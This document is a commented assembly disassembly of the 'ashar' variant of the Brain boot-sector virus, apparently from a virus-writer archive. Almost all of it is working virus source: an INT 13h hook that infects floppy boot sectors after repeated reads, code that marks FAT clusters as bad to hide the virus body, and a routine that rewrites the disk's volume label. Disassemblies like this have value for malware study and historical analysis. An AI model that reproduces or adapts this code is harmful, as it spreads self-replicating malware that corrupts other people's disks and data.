Prev || Home
; This is the ashar variant of the classic Pakistani Brain virus. It is large
; by today's standards, although it was one of the first.  It is a floppy only
; boot sector infector.
brain           segment byte public
                assume  cs:brain, ds:brain
; Disassembly done by Dark Angel of PHALCON/SKISM
                org     0
                cli
                jmp     entervirus
idbytes         db       34h, 12h
firsthead       db      0
firstsector     dw      2707h
curhead         db      0
cursector       dw      1
                db      0, 0, 0, 0
                db      'Welcome to the  Dungeon         '
copyright       db      '(c) 1986 Brain'
                db      17h
                db      '& Amjads (pvt) Ltd   VIRUS_SHOE '
                db      ' RECORD   v9.0   Dedicated to th'
                db      'e dynamic memories of millions o'
                db      'f virii who are no longer with u'
                db      's today - Thanks GOODNESS!!     '
                db      '  BEWARE OF THE er..VIRUS  : \th'
                db      'is program is catching      prog'
                db      'ram follows after these messeges'
                db      '..... $'
                db      '#@%$'
                db      '@!! '
entervirus:
                mov     ax,cs
                mov     ds,ax                   ; ds = 0
                mov     ss,ax                   ; set stack to after
                mov     sp,0F000h               ; virus
                sti
                mov     al,ds:[7C00h+offset firsthead]
                mov     ds:[7C00h+offset curhead],al
                mov     cx,ds:[7C00h+offset firstsector]
                mov     ds:[7C00h+offset cursector],cx
                call    calcnext
                mov     cx,5                    ; read five sectors
                mov     bx,7C00h+200h           ; after end of virus
loadnext:
                call    readdisk
                call    calcnext
                add     bx,200h
                loop    loadnext
                mov     ax,word ptr ds:[413h]   ; Base memory size in Kb
                sub     ax,7                    ; - 7 Kb
                mov     word ptr ds:[413h],ax   ; Insert as new value
                mov     cl,6
                shl     ax,cl                   ; Convert to paragraphs
                mov     es,ax
                mov     si,7C00h                ; Copy from virus start
                mov     di,0                    ; to start of memory
                mov     cx,1004h                ; Copy 1004h bytes
                cld
                rep     movsb
                push    es
                mov     ax,200h
                push    ax
                retf                            ; return to old boot sector
readdisk:
                push    cx
                push    bx
                mov     cx,4                    ; Try 4 times
tryread:
                push    cx
                mov     dh,ds:[7C00h+offset curhead]
                mov     dl,0                    ; Read sector from default
                mov     cx,ds:[7C00h+offset cursector]
                mov     ax,201h                 ; Disk to memory at es:bx
                int     13h
                jnc     readOK
                mov     ah,0                    ; Reset disk
                int     13h                     ; (force read track 0)
                pop     cx
                loop    tryread
                int     18h                     ; ROM basic on failure
readOK:
                pop     cx
                pop     bx
                pop     cx
                retn
calcnext:
                mov     al,byte ptr ds:[7C00h+offset cursector]
                inc     al
                mov     byte ptr ds:[7C00h+offset cursector],al
                cmp     al,0Ah
                jne     donecalc
                mov     byte ptr ds:[7C00h+offset cursector],1
                mov     al,ds:[7C00h+offset curhead]
                inc     al
                mov     ds:[7C00h+offset curhead],al
                cmp     al,2
                jne     donecalc
                mov     byte ptr ds:[7C00h+offset curhead],0
                inc     byte ptr ds:[7C00h+offset cursector+1]
donecalc:
                retn
; the following is a collection of garbage bytes
                db       00h, 00h, 00h, 00h, 32h,0E3h
                db       23h, 4Dh, 59h,0F4h,0A1h, 82h
                db      0BCh,0C3h, 12h, 00h, 7Eh, 12h
                db      0CDh, 21h,0A2h, 3Ch, 5Fh
a_data          dw      050Ch
; Second part of the virus begins here
                jmp     short entersecondpart
                db      '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter     db      4                       ; keep track of # reads
curdrive        db      0
int13flag       db      0
entersecondpart:
                mov     cs:readcounter,1Fh
                xor     ax,ax
                mov     ds,ax                   ; ds -> interrupt table
                mov     ax,ds:[13h*4]
                mov     ds:[6Dh*4],ax
                mov     ax,ds:[13h*4+2]
                mov     ds:[6Dh*4+2],ax
                mov     ax,offset int13         ; 276h
                mov     ds:[13h*4],ax
                mov     ax,cs
                mov     ds:[13h*4+2],ax
                mov     cx,4                    ; 4 tries
                xor     ax,ax
                mov     es,ax                   ; es -> interrupt table
tryreadbootsector:
                push    cx
                mov     dh,cs:firsthead
                mov     dl,0
                mov     cx,cs:firstsector
                mov     ax,201h                 ; read from default disk
                mov     bx,7C00h
                int     6Dh                     ; int 13h
                jnc     readbootOK
                mov     ah,0
                int     6Dh                     ; int 13h
                pop     cx
                loop    tryreadbootsector
                int     18h                     ; ROM basic on failure
readbootOK:                                     ; return control to
                                                ; original boot sector
;*              jmp     far ptr 0000:7C00h
                db      0EAh, 00h, 7Ch, 00h, 00h
                nop                             ; MASM NOP!!!
int13:
                sti
                cmp     ah,2                    ; if not read request,
                jne     doint13                 ; do not go further
                cmp     dl,2                    ; if after second floppy,
                ja      doint13                 ; do not go further
                cmp     ch,0                    ; if not reading boot sector,
                jne     regularread             ; go handle as usual
                cmp     dh,0                    ; if boot sector,
                je      readboot                ; do I<-/>/\|> stuff
regularread:
                dec     cs:readcounter          ; Infect after 4 reads
                jnz     doint13                 ; If counter still OK, don't
                                                ; do anything else
                jmp     short readboot          ; Otherwise, try to infect
doint13:
                jmp     exitint13h
readboot:
; FINISH THIS!
                mov     cs:int13flag,0          ; clear flag
                mov     cs:readcounter,4        ; reset counter
                push    ax
                push    bx
                push    cx
                push    dx
                mov     cs:curdrive,dl
                mov     cx,4
tryreadbootblock:
                push    cx
                mov     ah,0                    ; Reset disk
                int     6Dh
                jc      errorreadingbootblock   ; Try again
                mov     dh,0
                mov     cx,1
                mov     bx,offset readbuffer    ; buffer @ 6BEh
                push    es
                mov     ax,cs
                mov     es,ax
                mov     ax,201h
                int     6Dh                     ; Read boot sector
                pop     es
                jnc     continuestuff           ; continue if no error
errorreadingbootblock:
                pop     cx
                loop    tryreadbootblock
                jmp     short resetdisk         ; too many failures
                nop
continuestuff:
                pop     cx                      ; get system id in boot block
                mov     ax,word ptr cs:[offset readbuffer+4]
                cmp     ax,1234h                ; already infected?
                jne     dodisk                  ; if not, infect it
                mov     cs:int13flag,1          ; flag prev. infection
                jmp     short noreset
dodisk:
                push    ds
                push    es
                mov     ax,cs
                mov     ds,ax
                mov     es,ax
                push    si
                call    writevirus              ; infect the disk
                jc      failme                  ; exit on failure
                mov     cs:int13flag,2          ; flag success
                call    changeroot              ; manipulate volume label
failme:
                pop     si
                pop     es
                pop     ds
                jnc     noreset                 ; don't reset on success
resetdisk:
                mov     ah,0                    ; reset disk
                int     6Dh                     ; int 13h
noreset:
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                cmp     cx,1
                jne     exitint13h
                cmp     dh,0
                jne     exitint13h
                cmp     cs:int13flag,1          ; already infected?
                jne     wasntinfected           ; if wasn't, go elsewhere
                mov     cx,word ptr cs:[offset readbuffer+7]
                mov     dx,word ptr cs:[offset readbuffer+5]
                mov     dl,cs:curdrive          ; otherwise, read real
                jmp     short exitint13h        ; boot sector
wasntinfected:
                cmp     cs:int13flag,2          ; successful infection?
                jne     exitint13h              ; if not, just do call
                mov     cx,cs:firstsector
                mov     dh,cs:firsthead
exitint13h:
                int     6Dh                     ; int 13h
                retf    2
                db      15 dup (0)
FATManip:                                       ; returns al as error code
                jmp     short delvedeeper
                nop
FATManipreadcounter dw      3
                db      ' (c) 1986 Brain & Amjads (pvt) Ltd'
delvedeeper:
                call    readFAT                 ; Get FAT ID byte
                mov     ax,word ptr ds:[offset readbuffer]
                cmp     ax,0FFFDh               ; is it 360K disk?
                je      is360Kdisk              ; continue if so
                mov     al,3                    ; al=3 == not good disk
                stc                             ; flag error
                retn                            ; and exit
is360Kdisk:
                mov     cx,37h
                mov     FATManipreadcounter,0   ; none found yet
checknextsector:
                call    FATentry12bit           ; get entry in FAT
                cmp     ax,0                    ; unused?
                jne     notunused
                inc     FATManipreadcounter     ; one more found unused
                cmp     FATManipreadcounter,3   ; If need more,
                jne     tryanother              ;  go there
                jmp     short markembad         ; found 3 consecutive
                nop                             ; empty sectors
notunused:
                mov     FATManipreadcounter,0   ; must start over
tryanother:
                inc     cx                      ; try next sector
                cmp     cx,163h                 ; end of disk?
                jne     checknextsector         ; if not, continue
                mov     al,1                    ; al=1 == none empty
                stc                             ; Indicate error
                retn
markembad:
                mov     dl,3                    ; 3 times
markanotherbad:
                call    markbad12bit
                dec     cx
                dec     dl
                jnz     markanotherbad
                inc     cx
                call    calc1sttrack
                call    writeFAT                ; update FAT
                mov     al,0                    ; al=0 == ok
                clc                             ; indicate success
                retn
markbad12bit:
                push    cx
                push    dx
                mov     si,offset readbuffer    ; si -> buffer
                mov     al,cl
                shr     al,1
                jc      low_12                  ; low bits
                call    clus2offset12bit
                mov     ax,[bx+si]              ; get FAT entry
                and     ax,0F000h               ; mark it bad
                or      ax,0FF7h
                jmp     short putitback         ; and put it back
                nop
low_12:
                call    clus2offset12bit
                mov     ax,[bx+si]              ; get FAT entry
                and     ax,0Fh                  ; mark it bad
                or      ax,0FF70h
putitback:
                mov     [bx+si],ax              ; replace FAT entry
                mov     word ptr ds:[400h][bx+si],ax ; in two places
                pop     dx
                pop     cx
                retn
FATentry12bit:
                push    cx
                mov     si,offset readbuffer    ; si->buffer
                mov     al,cl
                shr     al,1
; Part 3 of the virus starts here
                jc      want_high_12
                call    clus2offset12bit
                mov     ax,[bx+si]
                and     ax,0FFFh
                jmp     short exitFATentry12bit
                nop
want_high_12:
                call    clus2offset12bit        ; xxxxxxxxxxxx0000
                mov     ax,[bx+si]              ; ^^^^^^^^^^^^wanted
                and     ax,0FFF0h               ; mask wanted bits
                mov     cl,4                    ; and move to correct
                shr     ax,cl                   ; position
exitFATentry12bit:
                pop     cx
                retn
clus2offset12bit:
                push    dx
                mov     ax,3
                mul     cx
                shr     ax,1                    ; ax = cx*1.5
                mov     bx,ax
                pop     dx
                retn
readFAT:
                mov     ah,2                    ; read
                call    FAT_IO
                retn
writeFAT:
                mov     ah,3                    ; write
                call    FAT_IO
                retn
FAT_IO:
                mov     cx,4                    ; try four times
FAT_IOLoop:
                push    cx
                push    ax
                mov     ah,0                    ; reset disk
                int     6Dh                     ; int 13h
                pop     ax
                jc      tryFAT_IOagain
                mov     bx,offset readbuffer
                mov     al,4                    ; 4 sectors
                mov     dh,0                    ; head 0
                mov     dl,curdrive
                mov     cx,2                    ; sector 2
                push    ax                      ; (FAT)
                int     6Dh                     ; int 13h
                pop     ax
                jnc     exitFAT_IO
tryFAT_IOagain:
                pop     cx
                loop    FAT_IOLoop
                pop     ax
                pop     ax
                mov     al,2
                stc                             ; mark error
                retn
exitFAT_IO:
                pop     cx
                retn
calc1sttrack:
                push    cx
                sub     cx,2
                shl     cx,1                    ; 2 sectors/cluster
                add     cx,0Ch                  ; start of data area
                mov     ax,cx                   ; ax = sector
                mov     cl,12h                  ; 4096
                div     cl                      ; ax/4096 = al rem ah
                mov     byte ptr firstsector+1,al
                mov     firsthead,0
                inc     ah
                cmp     ah,9                    ; past track 9?
                jbe     notpasttrack9           ; nope, we are ok
                sub     ah,9                    ; otherwise, adjust
                mov     firsthead,1
notpasttrack9:
                mov     byte ptr firstsector,ah
                pop     cx
                retn
                db      0, 0, 0, 0, 0, 0
r_or_w_root     db      3
entrycount      dw      35h
tempsave1       dw      303h
tempsave2       dw      0EBEh
tempsave3       dw      1
tempsave4       dw      100h
                db      0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
                db       8Dh, 98h, 9Fh, 8Eh,0E0h
                db      ' (c) ashar $'
changeroot:
                call    readroot                ; read in root directory
                jc      donotchangeroot
                push    di
                call    changevolume            ; change volume label
                pop     di
                jc      donotchangeroot
                call    writeroot               ; write back new root dir
donotchangeroot:
                retn
; The following is just garbage bytes
                db      0BBh, 9Bh, 04h,0B9h, 0Bh
                db      0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
                db      0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
                db      0C6h, 06h
changevolume:
                mov     entrycount,6Ch
                mov     si,offset readbuffer+40h; 3nd dir entry
                mov     tempsave1,dx
                mov     ax,entrycount           ; 6Ch
                shr     ax,1
                mov     tempsave3,ax            ; 36h
                shr     ax,1
                mov     tempsave2,ax            ; 1Bh
                xchg    ax,cx
                and     cl,43h                  ; cx = 3
                mov     di,tempsave2
                add     di,1E3h                 ; di = 01FE
findlabel:
                mov     al,[si]
                cmp     al,0
                je      dolabel                 ; no mo entries
                mov     al,[si+0Bh]             ; attribute byte
                and     al,8                    ; volume label?
                cmp     al,8                    ; yes?
                je      dolabel                 ; then change it!
                add     si,20h                  ; go to next directory entry
                dec     entrycount
                jnz     findlabel               ; loop back
                stc                             ; Error!
                retn
                db      8Bh
dolabel:
                mov     bx,[di]                 ; offset a_data
                xor     bx,tempsave3            ; bx = 53Ah
                mov     tempsave3,si            ; si->direntry
                cli
                mov     ax,ss
                mov     tempsave1,ax
                mov     tempsave2,sp
                mov     ax,cs
                mov     ss,ax
                mov     sp,tempsave3
                add     sp,0Ch                  ;->reserved area
                mov     cl,51h
                add     dx,444Ch
                mov     di,2555h
                mov     cx,0C03h
                repe    cmpsw
                mov     ax,0B46h
                mov     cx,3
                rol     ax,cl                   ; ax = 5A30h
                mov     tempsave3,ax
                mov     cx,5
                mov     dx,8
                sub     tempsave3,5210h         ; 820h
                push    tempsave3               ; store attributes/reserved
; I haven't commented the remainder of this procedure.
; It basically changes the volume label to read "(c) Brain"
; Comment mode OFF
dowhatever:
                mov     ah,[bx]                 ; 5a3h
                inc     bx
                mov     dl,ah
                shl     dl,1
                jc      dowhatever
searchstuff:
                mov     dl,[bx]                 ; dl=C2h
                inc     bx                      ; bx=53Eh
                mov     al,dl
                shl     dl,1
                jc      searchstuff
                add     ax,1D1Dh
                push    ax
                inc     tempsave3
                db       73h, 01h               ; jnc $+3
                db      0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
                xchg    bp,ax
                add     al,0A1h
                xchg    bx,ax
                add     al,8Eh
                sar     bl,1
                add     dh,[bp+si]
                clc
                ret
                ;db       95h, 04h,0A1h, 93h, 04h, 8Eh
                ;db      0D0h,0FBh, 02h, 32h,0F8h,0C3h
; Comment mode ON
readroot:
                mov     r_or_w_root,2           ; set action code
                jmp     short do_rw_root        ; easier to do w/
                nop                             ; mov ah, 2
writeroot:
                mov     r_or_w_root,3
                jmp     short do_rw_root        ; this is somewhat useless
                nop
do_rw_root:
                mov     dh,0                    ; head 0
                mov     dl,curdrive
                mov     cx,6                    ; sector 6
                mov     ah,r_or_w_root
                mov     al,4                    ; 4 sectors
                mov     bx,offset readbuffer
                call    doint13h
                jc      exit_rw_root            ; quit on error
                mov     cx,1
                mov     dh,1                    ; head 1
                mov     ah,r_or_w_root
                mov     al,3
                add     bx,800h
                call    doint13h
exit_rw_root:
                retn
doint13h:
                mov     tempsave1,ax
                mov     tempsave2,bx
                mov     tempsave3,cx
                mov     tempsave4,dx
                mov     cx,4
doint13hloop:
                push    cx
                mov     ah,0                    ; Reset disk
                int     6Dh
                jc      errordoingint13h
                mov     ax,tempsave1
                mov     bx,tempsave2
                mov     cx,tempsave3
                mov     dx,tempsave4
                int     6Dh                     ; int 13h
                jnc     int13hsuccess
errordoingint13h:
                pop     cx
                loop    doint13hloop
                stc                             ; indicate error
                retn
int13hsuccess:
                pop     cx
                retn
                db      0, 0, 0
; Part 4 of the virus starts here
tempstorecx     dw      3
readwritecurrentdata    dw      301h
writevirus:
                call    FATManip
                jc      exitwritevirus
                mov     cursector,1
                mov     curhead,0
                mov     bx,offset readbuffer
                call    readcurrent
                mov     bx,offset readbuffer
                mov     ax,firstsector
                mov     cursector,ax
                mov     ah,firsthead
                mov     curhead,ah
                call    writecurrent
                call    calcnextsector
                mov     cx,5
                mov     bx,200h
writeanothersector:
                mov     tempstorecx,cx
                call    writecurrent
                call    calcnextsector
                add     bx,200h
                mov     cx,tempstorecx
                loop    writeanothersector
                mov     curhead,0
                mov     cursector,1
                mov     bx,0
                call    writecurrent
                clc                             ; indicate success
exitwritevirus:
                retn
readcurrent:
                mov     readwritecurrentdata,201h
                jmp     short doreadwrite
                nop
writecurrent:
                mov     readwritecurrentdata,301h
                jmp     short doreadwrite       ; This is pointless.
                nop
doreadwrite:
                push    bx
                mov     cx,4
tryreadwriteagain:
                push    cx
                mov     dh,curhead
                mov     dl,curdrive
                mov     cx,cursector
                mov     ax,readwritecurrentdata ; read or write?
                int     6Dh                     ; int 13h
                jnc     readwritesuccessful
                mov     ah,0                    ; reset disk
                int     6Dh                     ; int 13h
                pop     cx
                loop    tryreadwriteagain
                pop     bx
                pop     bx
                stc                             ; Indicate error
                retn
readwritesuccessful:
                pop     cx
                pop     bx
                retn
calcnextsector:
                inc     byte ptr cursector      ; next sector
                cmp     byte ptr cursector,0Ah
                jne     donecalculate           ; finished calculations
                mov     byte ptr cursector,1    ; clear sector #
                inc     curhead                 ; and go to next head
                cmp     curhead,2               ; if not too large,
                jne     donecalculate           ; we are done
                mov     curhead,0               ; otherwise clear head #
                inc     byte ptr cursector+1    ; and advance cylinder
donecalculate:
                retn
                db       64h, 74h, 61h
; read buffer starts here
; insert your favorite boot block below...
readbuffer:
brain           ends
                end
-----------------------------------------------------------------------------